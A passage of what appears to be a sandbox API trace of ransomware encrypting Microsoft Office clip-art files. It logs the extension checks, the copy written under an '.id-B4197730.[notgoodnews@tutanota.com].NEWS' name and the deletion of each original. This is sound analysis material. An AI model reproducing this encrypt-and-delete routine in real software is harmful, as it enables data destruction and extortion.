68 [0181.880] lstrlenW (lpString=".1cd") returned 4 [0181.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0181.880] lstrlenW (lpString=".jpg") returned 4 [0181.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.881] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0181.881] lstrlenW (lpString="J0107262.WMF") returned 12 [0181.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.883] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=7996) returned 1 [0181.883] CloseHandle (hObject=0x544) returned 1 [0181.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 0x220 [0181.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.884] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.884] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0182.161] GetLastError () returned 0x0 [0182.162] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1f3c, lpOverlapped=0x0) returned 1 [0182.164] WriteFile (in: hFile=0x4f0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1f40, lpOverlapped=0x0) returned 1 [0182.166] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.166] WriteFile (in: hFile=0x4f0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.166] SetEndOfFile (hFile=0x4f0) returned 1 [0182.166] CloseHandle (hObject=0x4f0) returned 1 [0182.166] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.166] SetEndOfFile (hFile=0x544) returned 1 [0182.171] CloseHandle (hObject=0x544) returned 1 [0182.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 1 [0182.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0182.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0182.313] lstrlenW (lpString=".doc") returned 4 [0182.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.313] lstrlenW (lpString=".docx") returned 5 [0182.313] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0182.313] lstrlenW (lpString=".pdf") returned 4 [0182.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.313] lstrlenW (lpString=".xls") returned 4 [0182.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.313] lstrlenW (lpString=".xlsx") returned 5 [0182.313] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0182.313] lstrlenW (lpString=".ppt") returned 4 [0182.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0182.313] lstrlenW (lpString=".zip") returned 4 [0182.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.314] lstrlenW (lpString=".rar") returned 4 [0182.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.314] lstrlenW (lpString=".bz2") returned 4 [0182.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.314] lstrlenW (lpString=".7z") returned 3 [0182.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0182.314] lstrlenW (lpString=".dbf") returned 4 [0182.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0182.314] lstrlenW (lpString=".1cd") returned 4 [0182.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0182.315] lstrlenW (lpString=".jpg") returned 4 [0182.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0182.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0182.315] lstrlenW (lpString=".doc") returned 4 [0182.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.315] lstrlenW (lpString=".docx") returned 5 [0182.315] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0182.315] lstrlenW (lpString=".pdf") returned 4 [0182.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.315] lstrlenW (lpString=".xls") returned 4 [0182.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.315] lstrlenW (lpString=".xlsx") returned 5 [0182.315] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0182.315] lstrlenW (lpString=".ppt") returned 4 [0182.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0182.315] lstrlenW (lpString=".zip") returned 4 [0182.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.315] lstrlenW (lpString=".rar") returned 4 [0182.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.315] lstrlenW (lpString=".bz2") returned 4 [0182.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.316] lstrlenW (lpString=".7z") returned 3 [0182.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0182.316] lstrlenW (lpString=".dbf") returned 4 [0182.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0182.316] lstrlenW (lpString=".1cd") returned 4 [0182.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0182.316] lstrlenW (lpString=".jpg") returned 4 [0182.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.316] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.316] lstrlenW (lpString="J0107290.WMF") returned 12 [0182.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.318] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=12308) returned 1 [0182.318] CloseHandle (hObject=0x36c) returned 1 [0182.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 0x220 [0182.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.319] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.319] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0182.321] GetLastError () returned 0x0 [0182.322] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x3014, lpOverlapped=0x0) returned 1 [0182.333] WriteFile (in: hFile=0x558, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3020, lpOverlapped=0x0) returned 1 [0182.336] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.336] WriteFile (in: hFile=0x558, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.336] SetEndOfFile (hFile=0x558) returned 1 [0182.336] CloseHandle (hObject=0x558) returned 1 [0182.336] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.337] SetEndOfFile (hFile=0x36c) returned 1 [0182.341] CloseHandle (hObject=0x36c) returned 1 [0182.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 1 [0182.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0182.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0182.344] lstrlenW (lpString=".doc") returned 4 [0182.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.344] lstrlenW (lpString=".docx") returned 5 [0182.344] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0182.344] lstrlenW (lpString=".pdf") returned 4 [0182.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.344] lstrlenW (lpString=".xls") returned 4 [0182.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.344] lstrlenW (lpString=".xlsx") returned 5 [0182.344] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0182.345] lstrlenW (lpString=".ppt") returned 4 [0182.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0182.345] lstrlenW (lpString=".zip") returned 4 [0182.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.345] lstrlenW (lpString=".rar") returned 4 [0182.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.345] lstrlenW (lpString=".bz2") returned 4 [0182.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.345] lstrlenW (lpString=".7z") returned 3 [0182.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0182.345] lstrlenW (lpString=".dbf") returned 4 [0182.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0182.345] lstrlenW (lpString=".1cd") returned 4 [0182.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0182.345] lstrlenW (lpString=".jpg") returned 4 [0182.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0182.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0182.346] lstrlenW (lpString=".doc") returned 4 [0182.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.346] lstrlenW (lpString=".docx") returned 5 [0182.346] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0182.346] lstrlenW (lpString=".pdf") returned 4 [0182.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.346] lstrlenW (lpString=".xls") returned 4 [0182.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.346] lstrlenW (lpString=".xlsx") returned 5 [0182.346] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0182.346] lstrlenW (lpString=".ppt") returned 4 [0182.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0182.346] lstrlenW (lpString=".zip") returned 4 [0182.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.346] lstrlenW (lpString=".rar") returned 4 [0182.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.346] lstrlenW (lpString=".bz2") returned 4 [0182.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.346] lstrlenW (lpString=".7z") returned 3 [0182.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0182.346] lstrlenW (lpString=".dbf") returned 4 [0182.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0182.347] lstrlenW (lpString=".1cd") returned 4 [0182.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0182.347] lstrlenW (lpString=".jpg") returned 4 [0182.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.347] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.347] lstrlenW (lpString="J0107300.WMF") returned 12 [0182.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.349] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=2460) returned 1 [0182.349] CloseHandle (hObject=0x36c) returned 1 [0182.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 0x220 [0182.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.350] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.350] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0182.353] GetLastError () returned 0x0 [0182.353] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x99c, lpOverlapped=0x0) returned 1 [0182.359] WriteFile (in: hFile=0x558, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x9a0, lpOverlapped=0x0) returned 1 [0182.360] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.360] WriteFile (in: hFile=0x558, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.360] SetEndOfFile (hFile=0x558) returned 1 [0182.361] CloseHandle (hObject=0x558) returned 1 [0182.361] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.361] SetEndOfFile (hFile=0x36c) returned 1 [0182.640] CloseHandle (hObject=0x36c) returned 1 [0182.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 1 [0182.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0182.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0182.642] lstrlenW (lpString=".doc") returned 4 [0182.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.642] lstrlenW (lpString=".docx") returned 5 [0182.642] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0182.642] lstrlenW (lpString=".pdf") returned 4 [0182.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.643] lstrlenW (lpString=".xls") returned 4 [0182.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.643] lstrlenW (lpString=".xlsx") returned 5 [0182.643] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0182.643] lstrlenW (lpString=".ppt") returned 4 [0182.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0182.643] lstrlenW (lpString=".zip") returned 4 [0182.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.643] lstrlenW (lpString=".rar") returned 4 [0182.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.643] lstrlenW (lpString=".bz2") returned 4 [0182.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.643] lstrlenW (lpString=".7z") returned 3 [0182.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0182.643] lstrlenW (lpString=".dbf") returned 4 [0182.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0182.643] lstrlenW (lpString=".1cd") returned 4 [0182.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0182.643] lstrlenW (lpString=".jpg") returned 4 [0182.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0182.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0182.643] lstrlenW (lpString=".doc") returned 4 [0182.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.643] lstrlenW (lpString=".docx") returned 5 [0182.643] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0182.643] lstrlenW (lpString=".pdf") returned 4 [0182.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.644] lstrlenW (lpString=".xls") returned 4 [0182.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.644] lstrlenW (lpString=".xlsx") returned 5 [0182.644] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0182.644] lstrlenW (lpString=".ppt") returned 4 [0182.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0182.644] lstrlenW (lpString=".zip") returned 4 [0182.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.644] lstrlenW (lpString=".rar") returned 4 [0182.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.644] lstrlenW (lpString=".bz2") returned 4 [0182.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.644] lstrlenW (lpString=".7z") returned 3 [0182.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0182.644] lstrlenW (lpString=".dbf") returned 4 [0182.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0182.644] lstrlenW (lpString=".1cd") returned 4 [0182.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0182.644] lstrlenW (lpString=".jpg") returned 4 [0182.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.645] lstrcmpiW (lpString1=".WMF", 